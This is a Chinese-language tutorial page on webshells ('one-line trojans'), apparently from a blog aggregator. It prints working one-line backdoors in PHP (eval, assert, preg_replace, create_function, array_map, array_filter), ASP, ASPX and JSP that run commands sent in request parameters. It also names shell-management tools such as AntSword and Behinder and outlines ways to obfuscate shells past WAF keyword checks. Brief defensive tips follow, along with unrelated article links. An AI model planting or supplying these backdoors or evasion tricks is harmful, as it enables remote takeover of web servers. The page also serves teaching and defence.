Webshell 一句话木马
Webshell介绍
什么是 WebShell
webshell就是以asp、php、jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门
由于 webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具
攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行操作权
Webshell分类

一句话木马的执行过程

PHP中常见的代码执行函数
执行函数与 Webshell的关系
- PHP中可以执行代码的函数,常常被用来编写一句话木马 ,因此对代码执行函数做一些归纳
PHP中常见的代码执行函数
eval()、 assert()、 preg_replace()、create_function()
- array_map()、call_user_func()、 call_user_func_array()、array_filter()
命令执行函数
- system()、exec()、 popen()、 passthru()、 shell_exec()、`
PHP Webshell
各个版本php支持函数如下
5.x :eval / assert / preg_replace /e /create_function
7.x :eval / assert
8.x :eval
常用PHP函数版本Webshell
**// eval()函数**
<?php eval($_REQUEST["cmd"]);?>
**// assert()函数**
<?php assert($_REQUEST["cmd"]);?>
**// preg_replace()函数**
<?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?>
**// create_function()函数**
<?php
$func = create_function('',$_REQUEST['cmd']);
$func();
?>
**// array_map()函数**
<?php
//func=system&cmd=ipconfig
$func=$_REQUEST['func'];
$cmd=$_REQUEST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>
**// array_filter函数**
<?php
//func=system&cmd=whoami
$cmd=$_REQUEST['cmd'];
$array1=array($cmd);
$func=$_REQUEST['func'];
array_filter($array1,$func);
?>
PHP 4种标记风格
php和其他几种web语言一样,都是使用一对标记将php代码部分包含起来,以便和html代码相区分,php一共4中标记风格
- xml风格(标准风格推荐使用)
<?php
echo "这是xml风格的标记";
?>
- xml风格的标记是常用的标记,也是推荐使用的标记,服务器不能禁用,该风格的标记在xml,xhtml中都可使用。
- 脚本风格
<script languange="php">
echo'这是脚本风格的标记';
</script>
- 短标签风格
<? 这是简短风格的标记; ?>
注:需要在php.ini配置文件中开启short _open_tag=On ,默认关闭
- asp风格
<%
echo '这是asp风格的标记';
%>
注:需要在 php.ini 配置文件中开启 asp_tags = On ,默认关闭
- 注:在以下情况应避免使用短标记:开发需要发行的程序或者库,或者在用户不能控制的服务器上开发。因为目标服务器可能不支持短标记。为了代码的移植及发行,确保不要使用短标记。
其他语言 Webshell
asp语言Webshell
// 菜刀可以连接的 Webshell
<%eval request("cmd")%>
<%execute request("cmd")%>
<%execute(request("cmd"))%>
<%executeGlobal request("cmd")%>
<%eval(Request(chr(35)))%> # ASCII码值
// 可以执行系统命令的 WebShell
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>
aspx语言Webshell
<%@ Page Language="Jscript"%>
<%eval(Request.ltem["pass"],"unsafe");%>
<%@ Page Language="Jscript" validateRequest="false" %>
<%Response.Write(eval(Request.ltem["pass"],"unsafe"));%>
jsp语言Webshell
// 执行系统命令且有回显
<% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}out.print("</pre>");
}%>
Webshell管理工具
- 为什么使用 WebShel管理工具?
攻击者在入侵网站时,通常要通过各种方式写入 Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件等操作
- 常见的 WebShel管理工具

蚁剑 (AntSword)
AntSword是一个开放源代码,跨平台的网站管理工具
github项目地址:https://github.com/AntSwordProject/antSword

C刀 (Knife)
- 这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义
- github项目地址:https://github.com/chora10/cknIfe

冰蝎 (Behinder)
一款动态二进制加密 网站管理客户端
冰蝎″目前最新版本为v3.0,兼容性已经日益完善,加密不再依赖 PHP opens$!展功能,同时支持了简单的ASP
主体功能方面包括虚拟终端、 socks代理、文件管理、反弹she!数据库管理等,功能强大

- Webshell管理工具四大功能

Webshell变形
变形目的
waf通常以关键字 判断是否为一句话木马,但是一句话木马的变形有很多种,waf不可能全部拦截
想要绕过waf,需要掌握各种PHP小技巧,把技巧结合起来,可以设计出属于自己的一句话木马
变形方法
- 利用str_replace() 函数

- 利用base64_decode() 函数

- 利用"."操作符

- 更换数据来源

- 替代标签

- 字符串组合法隐藏关键字

- 其他变形


Webshell变形总结
绕过技巧
更换执行数据来源
字符替换 或者编码
采取隐匿 手段
WebShell防御技巧
使用和及时更新防护类工具或产品
对服务器的文件夹设置严格的读写权限
在服务器中禁用一些敏感的危险函数 ,如命令执行 system() 等函数
定期检查系统进程,查看是否有可疑的进程
根据文件的创建日期观察系统目录下是否有近期新建的可执行文件
Webshell 一句话木马的更多相关文章
- 一句话木马和中国菜刀的结合拿webshell
什么叫做一句话木马: 就是一句简单的脚本语言,一句话木马分为Php,asp,aspx等 中国菜刀: 连接一句话木马的工具 实验的目的: 通过一句话木马来控制我们的服务器,拿到webshe ...
- 一句话木马拿下webshell
1.我们先建立一个简单的一句话木马文件,我们这里就命名为shell2吧. 2.因为提交的文件可能是有过滤的,我们这个靶场的这个题目就是禁止上传危险的文件类型,如jsp jar war等,所以就需要绕过 ...
- Webshell和一句话木马
目录 Webshell(大马) 一句话木马(小马) 一句话木马原理 一句话木马的变形 JSP后门脚本 Webshell(大马) 我们经常会看到Webshell,那么,到底什么是Webshell呢? w ...
- webshell之一句话木马变形
什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. 我们如 ...
- 一句话木马的简单例子 网站webshell & 远程连接
一 概述 本地 kail linux 目标 windows nt 服务器 二 过程 首先编写一句话木马 index.php 一句话木马的原理就是把C=xxx 字符串当成php语句执行 注意这里用 ...
- 渗透技术--SQL注入写一句话木马原理
讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...
- 探索基于.NET下实现一句话木马之asmx篇
0x01 前言 上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款a ...
- 探索基于.NET下实现一句话木马之ashx篇
0x01 前言 在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句 笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终 ...
- 技术的正宗与野路子 c#, AOP动态代理实现动态权限控制(一) 探索基于.NET下实现一句话木马之asmx篇 asp.net core 系列 9 环境(Development、Staging 、Production)
黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙. 这段描写出自<倚天屠龙记>第三十八回. “九阴神抓”本是& ...
随机推荐
- 传说中 VUE 的“语法糖”到底是啥?
一.什么是语法糖? 语法糖也译为糖衣语法,是由英国计算机科学家彼得·约翰·兰达(Peter J. Landin)发明的一个术语.指的是计算机语言中添加的一种语法,在不影响功能的情况下,添加某种简单的语 ...
- 推荐一个pycharm验证xpath表达式的插件XPathView + XSLT
使用Appium进行自动化测试,使用xpath元素定位,想验证xpath定位是否正确,可以使用在线的xpath验证网站,也可以使用这次推荐的插件XPathView + XSLT.
- python学习1-博客-DB操作类
#学习python,准备写一个博客,第一天:在别人代码基础上写一个数据库操作的db.py1)python代码 #!/usr/bin/env python # -*- coding: UTF-8 -*- ...
- 完美解决JavaIO流报错 java.io.FileNotFoundException: F:\ (系统找不到指定的路径。)
完美解决JavaIO流报错 java.io.FileNotFoundException: F:\ (系统找不到指定的路径.) 错误原因 读出文件的路径需要有被拷贝的文件名,否则无法解析地址 源代码(用 ...
- YbtOJ#532-往事之树【广义SAM,线段树合并】
正题 题目链接:https://www.ybtoj.com.cn/problem/532 题目大意 给出\(n\)个点的一个\(Trie\)树,定义\(S_x\)表示节点\(x\)代表的字符串 求$$ ...
- L1-023 输出GPLT (20 分) java题解 GPLT天梯赛防坑技巧
上题目先 给定一个长度不超过10000的.仅由英文字母构成的字符串.请将字符重新调整顺序,按GPLTGPLT....这样的顺序输出,并忽略其它字符.当然,四种字符(不区分大小写)的个数不一定是一样多的 ...
- mysql锁场景及排查
1.查询长时间不返回: 在表 t 执行下面的 SQL 语句: mysql> select * from t where id=1; 查询结果长时间不返回. 一般碰到这种情况的话,大概率是表 t ...
- 【转】C语言 printf格式控制符 完全解析
printf的格式控制的完整格式:% - 0 m.n l或h 格式字符下面对组成格式说明的各项加以说明:①%:表示格式说明的起始符号,不可缺少.②-:有-表示左 ...
- AIApe问答机器人Scrum Meeting 5.5&5.6
Scrum Meeting 7 日期:2021年5月5日&2021年5月6日 会议主要内容概述:汇报近日工作,确定下一步计划,放弃"关键词提取"和"改进关键词&q ...
- 数位dp & 热身训练7
数位dp 数位dp是一种计数用的dp,一般就是要统计一段区间$[L,R]$内,满足一定条件的数的个数,或者各个数位的个数. 数位dp使得暴力枚举变为满足一定状态的记忆化,更加优秀. 数位dp常常会考虑 ...